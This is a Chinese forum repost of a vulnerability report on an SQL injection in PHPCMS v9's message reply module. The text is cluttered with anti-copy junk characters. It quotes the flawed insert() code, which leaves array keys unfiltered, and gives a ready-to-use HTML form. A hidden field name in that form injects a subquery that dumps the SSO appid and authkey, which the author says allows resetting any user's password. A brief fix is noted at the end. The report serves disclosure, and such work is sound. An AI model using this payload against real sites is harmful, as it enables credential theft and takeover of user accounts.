|
简要描述:
; l6 l* v5 n5 T+ s2 z& ~0 b: Z4 b E% I! c; u2 f5 [ U* }9 T! z
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。0 L+ b% r x& P. }; i5 B; t
9 c0 s$ a, R; G+ v v
明天再更新下一个漏洞。
S M; F7 ?( M. @ e4 ?' @详细说明:) ~7 n7 C' V. _" `! u3 Q2 Q
在/phpcms9/phpcms/modules/message/index.php中有代码如下:* D- y" ]0 _2 f
9 S3 b; L/ w5 z& G0 D) N
$messageid = $this->message_db->insert($_POST['info'],true);, v3 W- V) j1 ^3 M8 b+ H
* [3 h5 `. ^* y7 y/ w. u( M# b
, _9 ~' z. k; _! i% U. j$ v2 W7 k
insert方法是key value的,代码如下:
$ ]/ w1 M* L4 H4 g- l. Z
8 S3 o4 x8 b8 y apublic function insert($data, $table, $return_insert_id = false, $replace = false) {
4 n; `1 h E9 ]4 n6 W A- T if(!is_array( $data ) || $table == '' || count($data) == 0) {; ^& m5 ] b3 a1 P) g, ^
return false;3 ?3 J9 ~# t: Y2 } t" K
}
. C8 ~9 k+ b9 l- Z+ k. Z ! b6 [0 P1 u( G" Y- _+ U! r+ t6 P9 }
$fielddata = array_keys($data);
3 c7 @% c( N8 q$ v- t' E) D' z# }1 C $valuedata = array_values($data);
4 n' H7 b! K0 z array_walk($fielddata, array($this, 'add_special_char'));. f6 {2 y* W+ P; I' ]3 T& l" f
array_walk($valuedata, array($this, 'escape_string'));
( F, u; g/ f3 M. D- t5 X 1 `* t% t' m7 v+ n# J
$field = implode (',', $fielddata);
/ G3 r( }- ?: p& ~; x+ v $value = implode (',', $valuedata);2 i# |; t3 v r$ [
0 k. {" G1 b8 s# l& r $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';" d; }5 _: Z. p& e5 ]
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
: h/ L# n9 O- E% l+ @ $return = $this->execute($sql);
/ N R4 G3 n& h return $return_insert_id ? $this->insert_id() : $return;
3 [- ^+ c. G5 Z }
& m: B; f3 d; M2 H7 j2 J" q; A; P$ C( W B
' W6 O- t% b) w1 P嗯,很遗憾的是
, J5 Z, F2 q b$ P4 F
/ Q( c% a: \2 `, Q# u6 A9 h. Earray_walk($fielddata, array($this, 'add_special_char'));
7 V/ u d+ Q4 i
% w0 z! V) A: B, W" p* V: c' E N" X5 k. h2 z N
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。9 M2 I/ Y2 E, \; f: [
$ r$ H2 ?! N* B. d2 g到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。; B8 Y# H# |* g4 F5 Z" o
( M) N+ o2 P, s% T4 S) m; |漏洞证明:
6 q! C" F3 t4 M! Q. O( v2 \9 V, Z3 T0 G; N读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。* ~) _0 a; d' g0 ]- I0 ~) o0 R& ~
6 l7 W- a g; O3 I" P2 a% U3 c3 D( J
\. [1 c8 A/ x% \# D
表单如下:用户名什么的得自己改一改。
+ ^# T( @: K: C3 q<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">( I5 K2 g8 M& h7 C
<table width="100%" cellspacing="0" class="table_form">. @2 ~( W/ G$ X9 M/ @0 h
<tr>$ w; e# L4 }) y$ j- _
<th>标 题:</th>8 P0 H- D- B4 D
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>/ i4 K* x4 q: @% ]# g
</tr> / e. e' n1 [7 r
<tr>' n' O2 U6 j& Z5 P' F5 ?/ O& E
<th>内 容:</th>7 s+ D; Y g! r
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
$ P. K5 s( a$ K# ]! }: R- b' k</tr>
" m; ~2 A+ A& ]8 e* s! Y8 ^. X<input type="hidden" name="info[replyid]" value="2" /> + B% P( t, T- n, m3 N E# O
<input type="hidden" name="info[send_to_id]" value="cc" /> . `+ j7 I% m* Q2 z) }: \
<input type="hidden" name="info[send_from_id]" value="hh">8 d7 R: Z/ p, f6 |) `/ ], ]" |
<!-- 漏洞的利用重点在这里开始 -->
' f/ h l7 K6 w<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
* I8 ?9 [2 H9 T6 i* V<!-- 漏洞的利用重点在这里结束 -->
* j4 r0 ?3 b# i/ A5 u. B- W<tr>
9 ]) f# B- C$ t+ Z a! d<th>验证码:</th>1 C# O- |) g7 p1 S9 k* z, y0 X9 X0 E
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
4 O- W+ j0 D( g5 Q% q& r" U! V. W</tr>
3 s0 p$ W5 L% }0 l2 k* G! h<tr>
" l+ G$ N9 U, ^) |: F<td></td>2 y/ A8 h6 x9 `3 H: }: D
<td colspan="2"><label>
! a$ @0 q5 n5 p3 G- ]<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
/ p8 Y" Y% v( t2 o; g V" y$ l) R1 b: i</label></td>) |2 k6 T9 V7 }) X
</tr>( g6 }4 o5 c: O x' p2 O
</table>+ O8 U) {' p' Y
</form>( C! ?% g# z2 p" h5 @5 P
在add_special_char函数内对key做过滤就可以了。3 I2 M; o4 S- ~( `( ?: _
5 M0 l( x/ D/ ~9 n3 C5 m# M9 P, Q+ y+ n& {( \" o
/ q" p/ A- }" X; P |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|